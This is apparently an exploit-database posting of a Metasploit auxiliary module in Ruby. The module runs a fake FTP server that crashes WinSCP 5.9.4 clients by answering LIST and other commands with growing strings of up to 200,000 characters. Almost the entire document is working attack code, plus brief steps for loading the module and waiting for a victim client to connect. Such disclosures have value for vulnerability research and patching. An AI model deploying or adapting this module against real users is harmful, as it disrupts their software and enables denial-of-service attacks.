WinSCP 5.9.4 LIST Denial Of Service
Posted on 17 April 2017
## # Exploit Title: WinSCP 5.9.4 - (LIST) Command Denial of service (Crush application) # Date: [4-4-2017] mm.dd.yy # Exploit Author: [M.Ibrahim] vulnbug@gmail.com # E-Mail: vulnbug <at> gmail.com # Vendor Home Page: https://winscp.net/eng/index.php # Vendor download link: https://winscp.net/download/WinSCP-5.9.4-Setup.exe # Version: [WinSCP 5.9.4] # Tested on: windows 7 x86 ## #put the file winSCP 5.9.4.rb in metasploit framework folder name exploit then write this command to refresh all module in metasploit ==> reload_all #then run -j #now fake ftp server is ready #try to connect to this fake ftp server with winscp client and it will crush ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Exploit::Remote::TcpServer def initialize() super( 'Name' => 'WinSCP CRUSHER', 'Description' => %q{ This module will Crush WinSCP FTP client }, 'Author' => [ 'M.Ibrahim <vulnbug[at]gmail.com>' ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.google.com' ], ] ) register_options( [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]), OptString.new('FUZZCMDS', [ true, "The FTP client server Command to crush.", "LIST", nil, /(?:[A-Z]+,?)+/ ]), OptInt.new('STARTSIZE', [ true, "Crush string startsize.",2000]), OptInt.new('ENDSIZE', [ true, "Max Fuzzing string size.",200000]), OptInt.new('STEPSIZE', [ true, "Increment fuzzing string each attempt.",1000]), OptBool.new('RESET', [ true, "Reset fuzzing values after client disconnects with QUIT cmd.",true]), OptString.new('WELCOME', [ true, "Fake FTP Server welcome message.","FTP WinSCP server CRusher"]), OptBool.new('CYCLIC', [ true, "Use Cyclic pattern instead of A's .",false]), OptBool.new('ERROR', [ true, "Reply with error codes only",false]), OptBool.new('EXTRALINE', [ true, "Add extra CRLF's in response to LIST",true]) ], self.class) end def support_ipv6? false end def setup super @state = {} end def run @fuzzsize=datastore['STARTSIZE'].to_i exploit() end def on_client_connect(c) @state[c] = { :name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil } print_status("Client connected : " + c.peerhost) active_data_port_for_client(c, 20) send_response(c,"","WELCOME",220," "+datastore['WELCOME']) end def on_client_close(c) @state.delete(c) end def passive_data_port_for_client(c) @state[c][:mode] = :passive if(not @state[c][:passive_sock]) s = Rex::Socket::TcpServer.create( 'LocalHost' => '0.0.0.0', 'LocalPort' => 0, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) dport = s.getsockname[2] @state[c][:passive_sock] = s @state[c][:passive_port] = dport end @state[c][:passive_port] end def active_data_port_for_client(c,port) @state[c][:mode] = :active connector = Proc.new { host = c.peerhost.dup sock = Rex::Socket::Tcp.create( 'PeerHost' => host, 'PeerPort' => port, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) } @state[c][:active_connector] = connector @state[c][:active_port] = port end def establish_data_connection(c) begin Timeout.timeout(20) do if(@state[c][:mode] == :active) return @state[c][:active_connector].call() end if(@state[c][:mode] == :passive) return @state[c][:passive_sock].accept end end rescue ::Exception => e print_error("Failed to establish data connection: #{e.class} #{e}") end nil end def on_client_data(c) data = c.get_once return if not data cmd,arg = data.strip.split(/s+/, 2) arg ||= "" return if not cmd case cmd.upcase.strip when 'USER' @state[c][:user] = arg send_response(c,arg,"USER",331," User name okay, need password") return when 'PASS' @state[c][:pass] = arg send_response(c,arg,"PASS",230,"-Password accepted. 230 User logged in.") return when 'QUIT' if (datastore['RESET']) print_status("Resetting fuzz settings") @fuzzsize = datastore['STARTSIZE'] @stepsize = datastore['STEPSIZE'] end print_status("** Client disconnected **") send_response(c,arg,"QUIT",221," User logged out") return when 'SYST' send_response(c,arg,"SYST",215," UNIX Type: L8") return when 'TYPE' send_response(c,arg,"TYPE",200," Type set to #{arg}") return when 'CWD' send_response(c,arg,"CWD",250," CWD Command successful") return when 'PWD' send_response(c,arg,"PWD",257," "/" is current directory.") return when 'REST' send_response(c,arg,"REST",200," OK") return when 'XPWD' send_response(c,arg,"PWD",257," "/" is current directory") return when 'SIZE' send_response(c,arg,"SIZE",213," 1") return when 'MDTM' send_response(c,arg,"MDTM",213," #{Time.now.strftime("%Y%m%d%H%M%S")}") return when 'CDUP' send_response(c,arg,"CDUP",257," "/" is current directory") return when 'PORT' port = arg.split(',')[4,2] if(not port and port.length == 2) c.put("500 Illegal PORT command. ") return end port = port.map{|x| x.to_i}.pack('C*').unpack('n')[0] active_data_port_for_client(c, port) send_response(c,arg,"PORT",200," PORT command successful") return when 'PASV' daddr = Rex::Socket.source_address(c.peerhost) dport = passive_data_port_for_client(c) @state[c][:daddr] = daddr @state[c][:dport] = dport pasv = (daddr.split('.') + [dport].pack('n').unpack('CC')).join(',') dofuzz = fuzz_this_cmd("PASV") code = 227 if datastore['ERROR'] code = 557 end if (dofuzz==1) send_response(c,arg,"PASV",code," Entering Passive Mode (#{@fuzzdata},1,1,1,1,1) ") incr_fuzzsize() else send_response(c,arg,"PASV",code," Entering Passive Mode (#{pasv})") end return when /^(LIST|NLST|LS)$/ conn = establish_data_connection(c) if(not conn) c.put("425 Can't build data connection ") return end code = 150 if datastore['ERROR'] code = 550 end c.put("#{code} Here comes the directory listing. ") code = 226 if datastore['ERROR'] code = 550 end c.put("#{code} Directory send ok. ") strfile = "passwords.txt" strfolder = "Secret files" dofuzz = fuzz_this_cmd("LIST") if (dofuzz==1) strfile = @fuzzdata + ".txt" strfolder = @fuzzdata paylen = @fuzzdata.length incr_fuzzsize() end dirlist = "" if datastore['EXTRALINE'] extra = " " else extra = "" end dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{strfolder} " + extra dirlist << "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{strfile} " + extra conn.put("total 2 "+dirlist) conn.close return when 'RETR' conn = establish_data_connection(c) if(not conn) c.put("425 Can't build data connection ") return end print_status(" - Data connection set up") strcontent = "blahblahblah" dofuzz = fuzz_this_cmd("LIST") if (dofuzz==1) strcontent = @fuzzdata paylen = @fuzzdata.length incr_fuzzsize() end c.put("150 Opening BINARY mode data connection #{strcontent} ") print_status(" - Sending data via data connection") conn.put(strcontent) c.put("226 Transfer complete ") conn.close return when /^(STOR|MKD|REM|DEL|RMD)$/ send_response(c,arg,cmd.upcase,500," Access denied") return when 'FEAT' send_response(c,arg,"FEAT","","211-Features: 211 End") return when 'HELP' send_response(c,arg,"HELP",214," Syntax: #{arg} - (#{arg}-specific commands)") when 'SITE' send_response(c,arg,"SITE",200," OK") return when 'NOOP' send_response(c,arg,"NOOP",200," OK") return when 'ABOR' send_response(c,arg,"ABOR",225," Abor command successful") return when 'ACCT' send_response(c,arg,"ACCT",200," OK") return when 'RNFR' send_response(c,arg,"RNRF",350," File exists") return when 'RNTO' send_response(c,arg,"RNTO",350," File exists") return else send_response(c,arg,cmd.upcase,200," Command not understood") return end return end def fuzz_this_cmd(cmd) @fuzzcommands = datastore['FUZZCMDS'].split(",") fuzzme = 0 @fuzzcommands.each do |thiscmd| if ((cmd.upcase == thiscmd.upcase) || (thiscmd=="*")) && (fuzzme==0) fuzzme = 1 end end if fuzzme==1 if datastore['CYCLIC'] @fuzzdata = Rex::Text.pattern_create(@fuzzsize) else @fuzzdata = "A" * @fuzzsize end end return fuzzme end def incr_fuzzsize @stepsize = datastore['STEPSIZE'].to_i @fuzzsize = @fuzzsize + @stepsize if (@fuzzsize > datastore['ENDSIZE'].to_i) @fuzzsize = datastore['ENDSIZE'].to_i end end def send_response(c,arg,cmd,code,msg) if arg.length > 40 showarg = arg[0,40] + "..." else showarg = arg end if cmd.length > 40 showcmd = cmd[0,40] + "..." else showcmd = cmd end dofuzz = fuzz_this_cmd(cmd) if (dofuzz==1) && (cmd.upcase != "PASV") paylen = @fuzzdata.length if datastore['ERROR'] code = "550 " end if cmd=="FEAT" @fuzzdata = "211-Features: "+@fuzzdata+" 211 End" end if cmd=="PWD" @fuzzdata = " "/"+@fuzzdata+"" is current directory" end cmsg = code.to_s + " " + @fuzzdata c.put("#{cmsg} ") print_status("* Fuzz data sent") incr_fuzzsize() else cmsg = code.to_s + msg cmsg = cmsg.strip c.put("#{cmsg} ") end return end end